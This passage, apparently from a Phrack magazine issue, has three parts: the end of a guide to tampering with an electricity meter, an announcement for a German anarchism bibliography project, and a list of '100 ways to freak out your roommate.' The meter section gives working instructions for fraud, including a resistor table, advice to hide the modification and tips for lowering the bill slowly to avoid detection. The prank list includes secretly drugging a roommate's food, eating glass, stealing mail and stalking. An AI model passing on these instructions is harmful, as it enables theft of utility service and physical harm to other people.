| to bend. Take the broken end (if it broke), and jam it under the end of | |
| the bend to make it look legit. If they do pull the meter to inspect, | |
| they will hopefully just think that it might have broke loose when it was | |
| installed. | |
| I have noticed on some unmodified meters that I 'found' that the security | |
| pin has been broken already. So It's reasonable safe to assume that they | |
| don't take much faith in them. | |
| When done, you should NOT be able to tell if any mods have been done by | |
| looking. Be sure it's undetectable, they get kinda mad when you do things | |
| like this for some odd reason. It's suggested that after the modification, | |
| you have a friend, who you trust not to fink, take a very close look to | |
| see if they can spot any mods. | |
| Your bill should drop in half or more..if you really want to drop the | |
| bill..do this in steps.. a few months apart..so they won't notice that your | |
| bill is dropping like a rock. Just don't get silly. Using only 1kwh per | |
| month just yells fraud. Mine went from $80-$90 a month to around $30-$37 | |
| month with a 10K resistor (I added a electric dryer and other items during | |
| that month also.) | |
| You might want to try this a few times on other meters you've 'found' | |
| just to get the nack of it first, it should work with all meters. At least | |
| the ones they use in my area. | |
| Table of comparisons: | |
| test made using 1320 watt electric heater. | |
| 120V | |
| 11 amps | |
| 1.3 KWH | |
| resistor value rev per time voltage cross resistor rev/hour | |
| ------------------------------------------------------------------------------ | |
| 0 1 rev/23 seconds 0 156 | |
| 1k 1 rev/24 seconds 9. 150 | |
| 10K 1 rev/42 seconds 63 85 | |
| 12k 1 rev/53 seconds 68 | |
| 39K 1 rev/464 seconds ??? 7.25 | |
| Notice the 39K resistor's performance, NOT a good choice to use, it | |
| will cut your bill to 4% of the original. They will wonder about this. | |
| I'm currently using 10K which will cut it to approx 54% of the original bill. | |
| My bill is around 1/2 previous. Saving me approx $30-$50 a month in power | |
| bills. Not bad for a 10 cent resistor. | |
| Keep in mine the wattage rating of the resistor. Measure the voltage | |
| across the resistor. Take that number divide it by the resistor your using | |
| to get current. Take the current times current (square it), and multiply | |
| this by resistance value to get the wattage of resistor that is required. | |
| After all, it would not be a good thing for the resistor to go up in smoke. | |
| Mr. Meter Reader would wonder why you used 0 kwh this month. | |
| There also is another method that in theory will make your power bill less, | |
| this is called 'power factor correction', but unfortunately requires the use | |
| of some rather large (read expensive) AC cap's. For this reason (and the fact | |
| it cost under $5 and provides more of a benefit), the method of using the | |
| resistor is more useful and do-able by the everyone (especially those | |
| who despise the 'system'). | |
| Notice that I have NOT left a email address or the like for correspondence, | |
| namely due to the fact that this is highly illegal and greatly frowned upon | |
| by the authorities. If anyone has a need to contact me they may do so via | |
| phrack magazine, they can forward mail to me. If you do this modification | |
| correctly and per instructions, you will indeed save money. Have fun, | |
| be careful, and challenge the system at every turn. | |
| ******************************************************************************* | |
| DATA BANK OF THE GERMAN SPEAKING AN-ARCHISM | |
| The Da.d.A. Project | |
| DAtenbank des Deutschsprachigen Anarchismus | |
| Berlin, Koln | |
| The history of the liberative movement has not yet been filed sufficiently. | |
| That is, mainly, due to the lack of scientists with interest in exploring this | |
| area. Thanks to that, people who need bibliographic information for some | |
| specific themes of the history of anarchism, must go through all direct sources | |
| and derive from those some conclusions. Things are more difficult in case | |
| modern literature is required, for the theory and practice of liberative | |
| movements, which have appeared in the meantime. | |
| The data bank of the German speaking anarchism (DAtenbank des | |
| Deutschsprachigen Anarchismus) is trying to cover the lack of bibliographic | |
| material. Currently it files anarchistic or, generally, liberative documents | |
| and publishes. Later it will comprehend documents which deal with the history | |
| and theory of those movements. | |
| We are focusing our compilation activities, to the German speaking areas | |
| with plans of enhancing that shortly. In parallel we are elaborating | |
| an introduction to the publishing history of the printed material, which will | |
| be informative for their political and editorial meanings. | |
| From the early 1980's, the filing of the German liberative press is open | |
| for exploration. It covers the chronological period from the philosophic | |
| commencements of the German anarchism, in the 1832, until nowadays. Strength | |
| of expression is given to newspapers and magazines, though collections of | |
| documents, almanacs, year-books, congresses' protocols and catalogs are | |
| not omitted. | |
| Except of the anarchistic publishes we are also registering material whose | |
| cooperatives or publishers were anarchists. The filing is achieved using all | |
| the usual bibliographical criterion (titles, publishers, date/district, | |
| circulation, place of distribution et cetera). | |
| In order to handle the increasing demands of the people who would like to | |
| access our material, we decided to publish our first synthetic registers in a | |
| series of brochures. This publication, in restricted copies and four or five | |
| continuations, will be available at the "File of Social and Civilization | |
| History" of the 'Libertad' publications in Berlin. The first brochure, is | |
| occupied with the German liberative press from 1832 to 1890. Every copy of | |
| this serial includes a diagram of the press' history, chronological | |
| bibliography of the magazines and an index. | |
| We resume special researches through the data bank and we offer the results | |
| printed. Until now we have filed over 1000 titles, which offer many different | |
| elements for research each. | |
| Da.d.A. is a private, research project. We do not accept donations from | |
| state institutions and other similar organizations. In that way we can | |
| continue our efforts undistracted and independent. The disadvantage is | |
| that we support Da.d.A. with personal expenses and when we have free time | |
| available. | |
| The modern liberative press is difficult to register and get filed. | |
| Although liberative publications were developed in an unprecedented way | |
| (and not only arithmetically) after 1968, few publications are accessible | |
| from libraries and files. Especially today we must tune up our practises | |
| in order to protect modern press. We encourage every publisher of anarchistic | |
| material, even if productions are ceased nowadays, to send us information and, | |
| if possible, a copy of their publications. They will get registered in our | |
| computer and filed in the library for the Research of Social Demands, in | |
| order to be accessible for studies in the future. | |
| For more information about the Da.d.A. project and the possibilities of | |
| using the data bank, you can contact us in the following addresses: | |
| BERLINER GESELLSCHAFT ZUM STUDIUM SOZIALER FRAGEN e.V. | |
| Projekt: Datenbank des Deutschsprachigen Anarchismus (Da.d.A.) | |
| c/o Jochen Schmuck c/o Gunter Hoering | |
| Postfach 440 349 Pfalzer Str.27 | |
| 1000 BERLIN 44 5000 KOLN 1 | |
| Tel. 030/686 65 24 Tel. 0221/21 81 49 | |
| ******************************************************************************* | |
| [Don't ask me why I'm printing this. I just think it's funny as hell.] | |
| 100 WAYS TO FREAK OUT YOUR ROOMMATE | |
| 1. Smoke jimson weed. Do whatever comes naturally. | |
| 2. Switch the sheets on your beds while s/he is at class. | |
| 3. Twitch a lot. | |
| 4. Pretend to talk while pretending to be asleep. | |
| 5. Steal a fishtank. Fill it with beer and dump sardines in it. Talk to | |
| them. | |
| 6. Become a subgenius. | |
| 7. Inject his/her twinkies with a mixture of Dexatrim and MSG. | |
| 8. Learn to levitate. While your roommate is looking away, float up out of | |
| your seat. When s/he turns to look, fall back down and grin. | |
| 9. Speak in tongues. | |
| 10. Move you roommate's personal effects around. Start out subtle. | |
| Gradually work up to big things, and eventually glue everything s/he | |
| owns to the ceiling. | |
| 11. Walk and talk backwards. | |
| 12. Spend all your money on Jolt Cola. Drink it all. Stack the cans in | |
| the middle of your room. Number them. | |
| 13. Spend all your money on Transformers. Play with them at night. If | |
| your roommate says anything, tell him/her with a straight face, "They're | |
| more than meets the eye." | |
| 14. Recite entire movie scripts (e.g. "The Road Warrior," "Repo Man," | |
| Casablanca,") almost inaudibly. | |
| 15. Kill roaches with a monkey wrench while playing Wagnerian arias on a | |
| kazoo. If your roommate complains, explain that it is for your | |
| performance art class (or hit him/her with the wrench). | |
| 16. Collect all your urine in a small jug. | |
| 17. Chain yourself to your roommate's bed. Get him/her to bring you food. | |
| 18. Get a computer. Leave it on when you are not using it. Turn it off | |
| when you are. | |
| 19. Ask your roommate if your family can move in "just for a couple of | |
| weeks." | |
| 20. Buy as many back issues of Field and Stream as you can. Pretend to | |
| masturbate while reading them. | |
| 21. Fake a heart attack. When your roommate gets the paramedics to come, | |
| pretend nothing happened. | |
| 22. Eat glass. | |
| 23. Smoke ballpoint pens. | |
| 24. Smile. All the time. | |
| 25. Collect dog shit in baby food jars. Sort them according to what you | |
| think the dog ate. | |
| 26. Burn all your waste paper while eying your roommate suspiciously. | |
| 27. Hide a bunch of potato chips and Ho Hos in the bottom of a trash can. | |
| When you get hungry, root around in the trash. Find the food, and eat it. | |
| If your roommate empties the trash before you get hungry, demand that s/he | |
| reimburse you. | |
| 28. Leave a declaration of war on your roommate's desk. Include a list of | |
| grievances. | |
| 29. Paste boogers on the windows in occult patterns. | |
| 30. Shoot rubber bands at your roommate while his/her back is turned, and | |
| then look away quickly. | |
| 31. Dye all your underwear lime green. | |
| 32. Spill a lot of beer on his/her bed. Swim. | |
| 33. Bye three loaves of stale bread. Grow mold in the closet. | |
| 34. Hide your underwear and socks in your roommate's closet. Accuse | |
| him/her of stealing it. | |
| 35. Remove your door. Ship it to your roommate's parents (postage due). | |
| 36. Pray to Azazoth or Zoroaster. Sacrifice something nasty. | |
| 37. Whenever your roommate walks in, wait one minute and then stand up. | |
| Announce that you are going to take a shower. Do so. Keep this up for | |
| three weeks. | |
| 38. Array thirteen toothbrushes of different colors on your dresser. | |
| Refuse to discuss them. | |
| 39. Paint your half of the room black. Or paisley. | |
| 40. Whenever he/she is about to fall asleep, ask questions that start with | |
| "Didja ever wonder why...." Be creative. | |
| 41. Shave one eyebrow. | |
| 42. Put your mattress underneath your bed. Sleep down under there and pile | |
| your dirty clothes on the empty bedframe. If your roommate comments, | |
| mutter "Gotta save space," twenty times while twitching violently. | |
| 43. Put horseradish in your shoes. | |
| 44. Shelve all your books with the spines facing the wall. Complain loudly | |
| that you can never find the book that you want. | |
| 45. Always flush the toilet three times. | |
| 46. Subsist entirely on pickles for a week. Vomit often. | |
| 47. Buy a copy of Frankie Yankovic's "Pennsylvania Polka," and play it at | |
| least 6 hours a day. If your roommate complains, explain that it's an | |
| assignment for your primitive cultures class. | |
| 48. Give him/her an allowance. | |
| 49. Listen to radio static. | |
| 50. Open your window shades before you go to sleep each night. Close them | |
| as soon as you wake up. | |
| 51. Cry a lot. | |
| 52. Send secret admirer notes on your roommate's blitzmail. | |
| 53. Clip your fingernails and toenails and keep them in a baggie. Leave the | |
| baggie near your computer and snack from it while studying. If he/she | |
| walks by, grab the bag close and eye him/her suspiciously. | |
| 54. Paste used kleenexes to his/her walls. | |
| 55. Whenever your roomate comes in from the shower, lower your eyes and | |
| giggle to yourself. | |
| 56. If you get in before your roomate, go to sleep in his/her bed. | |
| 57. Put pornos under his/her bed. Whenever someone comes to visit your | |
| roommate when they're not home, show them the magazines. | |
| 58. Whenever you go to sleep, start jumping on your bed . . . do so for a | |
| while, then jump really high and act like you hit your head on the ceiling. | |
| Crumple onto your bed and fake like you were knocked out . . . use this | |
| method to fall asleep every night for a month. | |
| 59. If your roommate goes away for a weekend, change the locks. | |
| 60. Whenever his/her parents call and ask for your roommate, breathe into the | |
| phone for 5 seconds then hang up. | |
| 61. Whenever he/she goes to shower, drop whatever you're doing, grab a towel, | |
| and go shower too. | |
| 62. Find out your roommate's post office box code. Open it and take his/her | |
| mail. Do this for one month. After that, send the mail to him/her by UPS. | |
| 63. Collect all of your pencil shavings and sprinkle them on the floor. | |
| 64. Create an imaginary cat for a pet. Talk to it every night, act like | |
| you're holding it, keep a litter box under your desk. After two weeks, | |
| say that your cat is missing. Put up signs in your dorm, blame your | |
| roommate. | |
| 65. Call safety & security whenever your roommate turns up his/her music. | |
| 66. Follow him/her around on weekends. | |
| 67. Sit on the floor and talk to the wall. | |
| 68. Whenever the phone rings, get up and answer the door. | |
| 69. Whenever someone knocks, answer the phone. | |
| 70. Take his/her underwear. Wear it. | |
| 71. Whenever your roommate is walking through the room, bump into him/her. | |
| 72. Stare at your roommate for five minutes out of every hour. Don't say | |
| anything, just stare. | |
| 73. Tell your roommate that someone called and said that it was really | |
| important but you can't remember who it was. | |
| 74. Let mice loose in his/her room. | |
| 75. Give each of your walls a different name. Whenever you can't answer a | |
| problem, ask each of your walls. Write down their responses, then ask | |
| your ceiling for the final answer. Complain to your roommate that | |
| you don't trust your ceiling. | |
| 76. Take your roommate's papers and hand them in as your own. | |
| 77. Skip to the bathroom. | |
| 78. Take all of your roommate's furniture and build a fort. Guard the fort | |
| for an entire weekend. | |
| 79. Gather up a garbage bag full of leaves and throw them in a pile in | |
| his/her room. Jump in them. Comment about the beautiful foliage. | |
| 80. When you walk into your room, turn off your lights. Turn them on when | |
| you leave. | |
| 81. Print up satanic signs and leave them in your room where he/she | |
| can find them. | |
| 82. Whenever you're on the phone and he/she walks in, hang up immediately | |
| without saying anything and crawl under your desk. Sit there for | |
| two minutes than call whoever it was back. | |
| 83. Insist on writing the entire lyrics to American Pie on your ceiling above | |
| your bed. Sing them every night before you go to bed. | |
| 84. Use a bible as Kleenex. Yell at your roommate if they say Jesus or God | |
| Damnit. | |
| 85. Burn incense. | |
| 86. Eat moths. | |
| 87. Buy Sea Monkeys and grow them. Name one after your roommate. Announce | |
| the next day that it died. Name another one after your roommate. | |
| The next day say that it died. Keep this up until they all die. | |
| 88. Collect Chia-Pets. | |
| 89. Refuse to communicate in anything but sign language. | |
| 90. Eat a bag of marshmallows before you go to bed. The next day, spray | |
| three bottles of whipped cream all over your floor. Say you got sick. | |
| 91. Wipe deodorant all over your roommate's walls. | |
| 92. If you know that he/she is in the room, come barging in out of breath. | |
| Ask if they saw a fat bald naked Tibetan man run through carrying a | |
| hundred dollar bill. Run back out swearing. | |
| 93. Leave apple cores on his/her bed. | |
| 94. Keep feces in your fridge. Complain that there is never anything to eat. | |
| 95. Piss in a jar and leave it by your bed. When your roommate isn't looking, | |
| replace it with a jar of apple juice. Wait until your roommate turns | |
| around. Drink it. | |
| 96. Don't ever flush. | |
| 97. Buy an inflatable doll. Sleep with it. | |
| 98. Hang stuffed animals with nooses from your ceiling. Whenever you walk by | |
| them mutter, "You shouldn't have done that to me." | |
| 99. Lick him/her while they are asleep. | |
| 100. Dress in drag. | |
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